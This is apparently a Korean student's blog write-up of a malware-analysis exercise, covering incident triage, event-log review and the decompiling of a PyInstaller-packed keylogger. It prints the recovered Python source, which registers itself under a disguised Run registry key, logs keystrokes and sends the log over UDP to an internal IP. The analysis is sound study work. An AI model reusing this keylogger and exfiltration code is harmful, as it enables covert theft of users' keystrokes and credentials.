[F_active]악성코드 분석

Hunjison·2021년 7월 25일
0

Malware

목록 보기
4/6

출처 : 키사 침해사고 분석 매뉴얼

초기 분석

  1. 시스템 시간 확인

    date, time

  2. 시스템 정보

    psinfo

  3. 프로세스 정보

    pslist -t

  4. listdlls로 프로세스 실행 위치 확인

    악성 코드 위치 확인 : "배창수" 사용자의 바탕화면에 존재

  5. 네트워크 정보 확인

    netstat -an

    cports.exe로 확인,별다른 특이사항 없었음.

    promiscdetect.exe 확인. promisc 모드 사용 중이지 않음.

  6. 사용자/그룹 확인

    별도의 사용자 추가는 없었음.

    배창수는 누구..?

루트킷 점검

  1. gmer.exe로 확인, 결과 있었으나 이상 없었음

상세분석

  1. 레지스트리 분석 - 시작 프로그램

    autoruns 사용 불가

    autostart and process view라는 도구 사용. 이상 없음

    수동 분석

    Ahnlab Safe Transaction Application....

  2. 자동 실행 점검

    autoruns 사용 불가로 점검 실패

    자동 재시작 서비스, 스케쥴된 작업 등등

  3. 이벤트 로그 분석

    이벤트 뷰어 사용.

    • 활동시간 추측 (1.9. 02:38~04:09)

    • 컴퓨터 종료 흔적 (이외에도 계속..)

    • 특수 권한 할당 (Chang-su.BAE)

    Chang-su.Bae는 새로 생성한 1번 계정임

  4. MAC time 분석

    Launcher.exe 파일의 MAC 파일이 해당 VM 부팅시간보다 빠름.

    다른 컴퓨터에서 해당 파일을 제작한 후에 옮겨온 것으로 추측.

    추가적으로 JSCript 파일 발견

  5. 침입 경로 분석

    Chrome 검색 기록

    Chrome 다운로드 기록

    Chrome, IE 검색기록에서는 의미있는 흔적 찾아볼 수 없었음.

악성 파일 분석

  1. 행위 분석

    키로거(경로 : %temp%\log\log.txt)

  2. 바이러스 토탈

    Launcher.exe 분석

    JScript 파일들 분석

  3. IDA

    64-bit executable file.

    환경 변수 _MEIPASS2를 가져오는 모습. 이후에 파이썬에서 쓰임.

    또 다른 프로세스 생성.

  4. x64dbg

    실행파일 경로와, 임시파일 발견.

    CreateProcess, WaitForSingleObject 함수 이후로 분석 불가능.

    gflags 사용, 새로 생성된 process도 분석.

    python으로 특정 코드를 실행하는 듯한데, 특정 코드를 가져오는 방법은 잘 모르겠다..

    포기!

  5. 임시 파일 분석

    무언가 파이썬을 활용해서 하는 듯한데,,

    시간 부족 & 실력적 한계로 여기까지..


스터디 이후 보충

  1. Detect It Easy로 파일 확인.

    PEID 는 조금 오래된 도구라고 한다. zlib archive가 있으면 python 컴파일일 가능성이 높다고 하는 꿀팁도 배울 수 있었다.

  2. strings로 긁어서 파일 대략적으로 유추해보기

    생각보다 strings로 긁어보는게 분석 방향을 빨리 잡고, 시간을 단축하는 길이다.

    python 사용하는 것을 바로 알 수 있었다.

    놀랍게도 사용하는 모듈들과, 악성코드의 핵심이었던 keyboard, email 등을 바로 쉽게 알 수 있었다.

  3. WinPrefetchView로 프리패치 파일 확인

    프리패치를 통해 응용프로그램의 실행 이력 뿐만 아니라, 악성코드 로드 흔적(DLL 등), 실행한 파일 흔적(exe, zib 등), 외장저장장치 사용 흔적(경로) 등 많은 정보를 알 수 있다.

    http://forensic-proof.com/archives/6103

    내가 맡은 악성코드 환경에서는 모두 지워져 있었다.

  4. exe to pyc, pyc to py 디컴파일!

    python으로 exe를 만드는 방법은 2가지가 있다고 한다.

    그리고 그에 따른 디컴파일 도구가 존재한다.

    py2exe → unpy2exe
    Pyinstaller → pyinstaller-extractor

    pyinstaller-extractor를 사용해서 pyc로 디컴파일이 가능했다.

    pyc에서 py로 데이터를 변환할 때에는, uncompyle6라는 도구를 사용했다.

    이유는 잘 모르겠지만, 예상처럼 잘 변환이 되지 않는 것을 확인했다.

    pyc의 헤더 부분을 내가 생성한 헤더로 바꿔주면 정상적으로 디컴파일이 가능하다는 정보를 가지고, 헤더부분을 변경해주기로 했다.

    E3 부터가 본문 시작이고, 위의 16 바이트가 헤더이다.

    (삽질을 좀 했는데, 파이썬 버전을 정확하게 맞춰주어야 디컴파일이 가능하다. 파이썬은 버전마다 pyc 헤더가 모두 다르더라!)

    버전을 맞춰준 이후에는 디컴파일이 성공적으로 진행되었다.

    디컴파일이 완료된 코드는 생각보다 단순했다.

    from pynput.keyboard import Key, Listener
    import logging, os, subprocess
    subprocess.SW_HIDE = 1
    r = subprocess.Popen('std.dll', shell=True).wait()
    c_path = str(os.getcwd())
    os.system('reg add "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" /v "AhnLab Safe Transaction Appllcation" /t REG_SZ /d "{}\\Launcher.exe" /f'.format(c_path))
    r = subprocess.Popen('Launcher.exe', shell=True).wait()
  5. std.dll 분석

    시작할 때부터 Launcher.exe가 실행되고 있었기 때문에, 다른 파일들은 잘 보지 않았었는데 python 코드에서 std.dll을 사용하는 것을 보고 분석해보기로 했다.

    winmine.pdb 파일이 존재한다고 하여, 인터넷을 통해 구해주었다.

    ida 설정을 아래와 같이 바꿔주어야 서명이 없는 pdb 파일도 사용할 수 있다.

    pdb가 복구된 파일은 분석하기 너무나 좋다.

    그런데! std.dll은 악성파일이 아니었다!

    파이썬 코드를 보면, std.dll은 단순 실행만 하고, Launcher.exe에서 나쁜 짓을 한다.

  6. Launcher.exe 분석

    위에서와 동일한 방식으로 분석을 진행, 파이썬 코드를 추출하였다.

    from pynput.keyboard import Key, Listener
    import logging, os, subprocess, socket, time
    
    def on_press(key):
        logging.info('"{0}"'.format(key))
    
    if __name__ == '__main__':
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        log_path = 'C:\\tmp\\log'
        buf = 1024
        time.sleep(30)
        if not os.path.exists(log_path):
            os.makedirs(log_path)
        else:
            if os.path.exists(log_path + '\\log.txt'):
                f = open(log_path + '\\log.txt', 'rb')
                data = f.read(buf)
                while data:
                    if sock.sendto(data, ('192.168.219.101', 8080)):
                        data = f.read(buf)
    
        sock.close()
        logging.basicConfig(filename=(log_path + '\\log.txt'), level=(logging.DEBUG),
          format='["%(asctime)s", %(message)s]')
        with Listener(on_press) as (l):
            l.join()

    위에서의 네트워크 분석 결과와 달리 소켓을 여는 코드가 있었는데, 다시 확인해봐도 포트 연결은 없었다. 무언가 코드가 실패한 듯하다.


+) 번외

Chang-su.BAE 그의 흔적을 찾아서..

2021년 로그가 끝일 거라고 생각했다..

그것은 나의 착각

2017년에도 활발하게 활동하던 배창수씨.

자격증명을 사용한다는 배창수씨!

이 이벤트는 프로세스에서 명시적으로 해당 계정의 자격 증명을 지정하여 계정에 로그온하려고 할 때 생성됩니다. 주로 예약된 작업과 같은 일괄 유형의 구성에서 발생하거나 RUNAS 명령을 사용할 때 발생합니다.

배창수씨 실종

2021.01.09. 03:34:42 ~ 03:55:56 무슨 일이 있었는가.

Windows update

사용자 계정 변경(1.9. 03:50:56)

Chang-su.BAE → Administrator

사용자 계정을 변경했습니다.

주체:
	보안 ID:		S-1-5-21-4138342279-646935400-3532290883-1000
	계정 이름:		Chang-su.BAE
	계정 도메인:		PC
	로그온 ID:		0x1a318

	대상 계정:
	보안 ID:		PC\Administrator
	계정 이름:		Administrator
	계정 도메인:		PC

변경된 특성:
	SAM 계정 이름:	Administrator
	표시 이름:		<값을 설정하지 않음>
	UPN(사용자 계정 이름):	-
	홈 디렉터리:		<값을 설정하지 않음>
	홈 드라이브:		<값을 설정하지 않음>
	스크립트 경로:		<값을 설정하지 않음>
	프로필 경로:		<값을 설정하지 않음>
	사용자 워크스테이션:	<값을 설정하지 않음>
	마지막 암호 설정:	2010-11-21 오후 12:57:24
	계정 만료:		<작업하지 않음>
	기본 그룹 ID:	513
	위임하도록 허용된 대상:	-
	이전 UAC 값:		0x211
	새 UAC 값:		0x210
	사용자 계정 컨트롤:	
		계정 사용함
	사용자 매개 변수:	<값을 설정하지 않음>
	SID 기록:		-
	로그온 시간:		모두
추가 정보:
	권한:		-

+) 번외 2

meipass 라는 스트링이 악성코드 중에 보여서 찾아보니, 랜섬웨어 Dablio의 일종이라고 한다.

python 모듈을 드랍해서 사용하는 점, Run registry에 자기 자신을 등록하는 점은 유사하다.

그러나 랜섬웨어 행위는 하지 않았다(휴 다행)

[랜섬웨어 분석]Python 모듈 사용하는 Dablio 랜섬웨어 감염 주의

  • 스터디 이후 추가

알고보니, meipass, python 모듈은 python으로 exe를 만들 때 생기는 것이고, 관련성은 딱히 없었는 듯하다.

profile
비전공자 출신 화이트햇 해커

0개의 댓글